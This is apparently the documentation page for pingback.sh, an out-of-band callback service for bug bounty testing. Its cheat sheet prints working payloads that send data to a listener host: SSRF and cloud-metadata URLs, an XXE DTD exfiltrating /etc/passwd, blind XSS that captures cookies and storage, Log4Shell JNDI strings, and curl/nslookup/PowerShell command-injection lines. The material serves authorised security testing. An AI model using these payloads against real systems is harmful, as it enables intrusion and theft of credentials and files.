Overview
pingback.sh is a free out-of-band (OOB) callback service built for the bug bounty community.
It captures any incoming request from your target HTTP, HTTPS, DNS, SMTP, or blind XSS callback — and
shows it in a live dashboard. No signup, no API key, just generate a listener and paste it into your payload.
Use it when you suspect a vulnerability that doesn't reflect output in the response: blind XSS in admin panels, SSRF, blind XXE, server-side template injection, log4shell-style injections, command injection without stdout, etc.
Getting started
From the homepage, click generate listener. You'll receive:
- ? A unique subdomain like
xyz1abc2.pingback.sh - ? Ready-to-paste payloads for HTTP, DNS, XSS, and SMTP
- ? A secret dashboard URL (the only way to view your captures)
Payloads cheat sheet
For a listener at xxx.pingback.sh, drop any of these in suspicious inputs:
| Protocol | Payload | Triggers when |
|---|---|---|
| HTTP/HTTPS | https://xxx.pingback.sh/ | Target makes an outbound HTTP request |
| DNS | xxx.pingback.sh | Target's DNS resolver looks up the hostname |
| Blind XSS | "><script src=//xxx.pingback.sh/x></script> | Target's user (e.g., admin) renders your payload |
| SMTP | anything@xxx.pingback.sh | Target sends an email to this address |
SSRF (Server-Side Request Forgery)
Replace any URL parameter, webhook field, or fetched-resource input with your listener URL.
POST /api/import?url=https://xxx.pingback.sh/ POST /webhooks { "callback": "https://xxx.pingback.sh/secret" } GET /image-proxy?src=https://xxx.pingback.sh/a.png
Cloud metadata exfiltration
Once SSRF is confirmed, try chaining it to access cloud metadata endpoints. Use your listener as the canary first:
?url=http://xxx.pingback.sh/test # confirm SSRF works
?url=http://169.254.169.254/latest/meta-data/ # AWS metadata
?url=http://metadata.google.internal/computeMetadata/v1/ # GCP
DNS-only SSRF (firewalled targets)
When HTTP egress is blocked but DNS resolution works:
?url=https://xxx.pingback.sh/anything
If you see a DNS hit but no HTTP hit, the target resolved your domain but couldn't reach it — that's a partial SSRF you can still report.
XXE (XML External Entity)
Inject an external entity that references your listener:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "https://xxx.pingback.sh/xxe">
]>
<foo>&xxe;</foo>
Blind XXE with parameter entities (OOB exfil)
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "https://xxx.pingback.sh/exfil.dtd">
%dtd;
]>
Host exfil.dtd on a controlled server, with:
<!ENTITY % all "<!ENTITY % send SYSTEM 'https://xxx.pingback.sh/?d=%file;'>"> %all; %send;
The captured request's path will contain the contents of /etc/passwd.
Blind XSS
The XSS payload at /x captures cookies, the full DOM, URL, referrer, localStorage,
sessionStorage, user-agent, and screen size of whoever renders it.
Common contexts
// HTML context <script src=//xxx.pingback.sh/x></script> // Attribute context (single or double quote breakout) "><script src=//xxx.pingback.sh/x></script> '><script src=//xxx.pingback.sh/x></script> // JavaScript string context ';document.body.appendChild(document.createElement('script')).src='//xxx.pingback.sh/x';// // Polyglot (works in most contexts) jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=fetch('//xxx.pingback.sh/x')//>\x3e
Where to inject
- Profile fields (name, bio, company)
- Support ticket subjects and bodies
- Filenames on file uploads
- Referer / User-Agent headers (admin dashboards often render these)
- Comments on internal posts
- Search queries logged in admin panels
log4j / JNDI injection
For log4shell-style bugs (CVE-2021-44228), inject into any field likely to be logged:
${jndi:ldap://xxx.pingback.sh/a}
${jndi:dns://xxx.pingback.sh}
${jndi:rmi://xxx.pingback.sh/a}
Headers to try: User-Agent, Referer, X-Forwarded-For,
X-Api-Version. Even a DNS hit confirms the vulnerable Log4j JNDI
lookup happened.
Command injection (out-of-band confirmation)
When the response doesn't reflect command output, use the listener to confirm execution:
# Linux ; curl https://xxx.pingback.sh/$(whoami) | nslookup $(hostname).xxx.pingback.sh`wget -O- https://xxx.pingback.sh/proof` # Windows & nslookup %COMPUTERNAME%.xxx.pingback.sh& powershell -c "iwr https://xxx.pingback.sh/$env:USERNAME"
The captured path will leak the output of whoami, hostname, etc.
SMTP / email-based bugs
Use anything@xxx.pingback.sh in:
- Password reset forms (confirms account exists and email is sent)
- Invitation systems (test if you can invite arbitrary addresses)
- Newsletter signups (test for double opt-in bypass)
- Webhook configuration that emails on events
- Bug bounty contact forms (meta-bug-bounty)
You'll see an SMTP hit with the From, To, Subject, and raw body.
Notifications
When generating a listener, you can add:
- Email: get an email on every hit. Not verified anything goes.
- Discord webhook: paste a webhook URL and get rich messages in your channel.
- Label: a private tag like
h1-acme-testto help you remember which test this listener belongs to.
You can also leave all of this blank and just bookmark the dashboard URL.
Dashboard
Your dashboard is at https://pingback.sh/dashboard?t=YOUR_SECRET_TOKEN.
- Live feed updates every 3 seconds
- Filter by protocol (HTTP, DNS, XSS, SMTP)
- Click any hit to see full headers, body, and DOM
- Export everything to JSON for your report
- Wipe the listener and all its hits when you're done
Limits
| Listener TTL | 30 days of inactivity |
| Generation rate | 20 listeners / hour / IP |
| Max body size per hit | 1 MB (truncated above) |
| Subdomain length | 8 alphanumeric chars (no 0/1/i/l/o) |
| Cost | Free for the community |
If you have a legitimate use case that needs more (e.g. a long-running research project), open an issue on
GitHub or email admin@pingback.sh.
Privacy
pingback.sh captures whatever the target sends to it. By design that may include sensitive data:
internal IPs, auth headers, cookies, session tokens, email contents.
- Your secret token is hashed (SHA-256) before storage.
- Sessions and their hits are deleted 30 days after the last hit.
- The admin panel intentionally doesn't show hit contents only metadata for abuse handling.
- We don't sell, share, or analyze your captures. Period.
FAQ
Why isn't my XSS firing?
Open the page where you injected the payload, then check DevTools ? Network for a request
to /x. If you don't see it, the payload didn't render as HTML the target probably escaped it
or you're in the wrong context (e.g. inside a textarea or a comment block). Try a different breakout.
Why do I get only DNS hits and no HTTP?
The target's DNS resolver looked up your domain (which proves it tried to fetch your URL) but its egress firewall blocked the actual HTTP connection. Still report it it confirms an SSRF or similar bug, just a partial one.
Can I use this in a paid bug bounty program?
Yes. pingback.sh is just a tool like Burp Collaborator, interactsh, or xss.report. Use it
responsibly within the scope of the program.
Are my captures private?
Yes, accessible only with your secret token. The admin panel sees session metadata (subdomain, creator IP, hit count) but not the content of hits.
Can I run my own instance?
The full source is available you can self-host on any Debian 12 + LAMP stack. Recommended if you need long-lived listeners, custom subdomains, or want to handle truly sensitive client data.
How is this different from Burp Collaborator?
Burp Collaborator is excellent but requires Burp Suite Professional ($475/year), and the polling has to
happen from within Burp. pingback.sh is free, web-based, and exposes a JSON API so you can
integrate it with any workflow (nuclei templates, custom scripts, CI pipelines).
I lost my dashboard URL. Can you recover it?
No. The token is the only way to access the listener. Just generate a new one it takes one click.